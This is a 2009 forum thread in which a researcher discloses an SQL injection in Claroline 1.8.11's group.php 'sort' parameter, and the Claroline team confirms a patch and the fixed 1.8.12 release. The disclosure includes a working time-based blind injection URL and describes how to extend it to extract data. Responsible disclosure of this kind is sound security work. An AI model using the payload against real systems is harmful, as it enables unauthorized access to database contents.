Claroline v.1.8.11 SQL Injection

Tell us what's wrong.

Claroline v.1.8.11 SQL Injection

Postby sanyi on Thu May 07, 2009 12:48 pm

Claroline v.1.8.11 SQL Injection

Author: Gerendi Sandor Attila (http://gsasec.blogspot.com/)
Date: May 05, 2009
Package: Claroline (1.8.11)
Product Homepage: http://www.claroline.net/
Versions Affected: v.1.8.11 (Other versions may also be affected)
Severity: High

The 'sort' parameter from '/claroline/group/group.php' is not sanitized before it is used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Example:
the request:
Code: Select all
http://somehost/claroline/group/group.php?cidReq=TEST1&sort=IF(FALSE,1,SLEEP(10))&dir=3


will generate the flowing SQL query:

Code: Select all
SELECT * FROM `c_TEST1_group_team` `g`

          # retrieve the tutor id
          LEFT JOIN  `claroline_1_8_11`.`cl_user` AS `tutor`
          ON `tutor`.`user_id` = `g`.`tutor`

          # retrieve the user group(s)
          LEFT JOIN `c_TEST1_group_rel_team_user` AS `ug`
          ON `ug`.`team` = `g`.`id` AND `ug`.`user` = 0

          # count the registered users in each group
          LEFT JOIN `c_TEST1_group_rel_team_user` `ug2`
          ON `ug2`.`team` = `g`.`id`

          GROUP BY `g`.`id`
ORDER BY IF(FALSE,1,SLEEP(10)) DESC LIMIT 0, 20


This query will lag about 10 seconds. Replacing the FALSE element (from IF(FALSE,1,SLEEP(10))) with conditional queries may be used to extract arbitrary data from the database.

Status:
1. Contacted the author at: May 07, 2009 viahttp://forum.claroline.net./

Note:
-the original advisory place is at http://gsasec.blogspot.com/, but it will be published only after the vulnerability reception, validation and correction. Also at that time it will reported to Secunia and SecurityFocus.
sanyi
 
Posts: 3
Joined: Tue May 05, 2009 12:32 pm

Re: Claroline v.1.8.11 SQL Injection

Postby zefredz on Mon May 11, 2009 8:37 am

Hello,

Thanks again for this security report.

As for the previous one, we will release a new Claroline 1.8.12 release with the two patches in the next few days. This security issue has also been fixed in Claroline 1.9.0 which will be released in the next few days too.

In the meantime, Claroline 1.8.11 administrators can replace the old claroline/group/group.php file par the fixed one available on our subversion repository here : http://claroline.svn.sourceforge.net/vi ... /group.php

Best Regards,
Frederic Minne (ZeFredz) - Claroline Team - Claroline.net
Image
User avatar
zefredz
Contributeurs Actif Forum
 
Posts: 986
Joined: Thu Sep 02, 2004 1:41 pm
Location: Belgium, LLN

Re: Claroline v.1.8.11 SQL Injection

Postby zefredz on Tue Jun 02, 2009 8:06 am

Hello,

Claroline 1.8.12 has been released and contains the fixed scripts for this vulnerability.

Thanks again for reporting the issue.

Best Regards,
Frederic Minne (ZeFredz) - Claroline Team - Claroline.net
Image
User avatar
zefredz
Contributeurs Actif Forum
 
Posts: 986
Joined: Thu Sep 02, 2004 1:41 pm
Location: Belgium, LLN


Return to Bugs Claroline 1.8.11

Who is online

Users browsing this forum: No registered users and 2 guests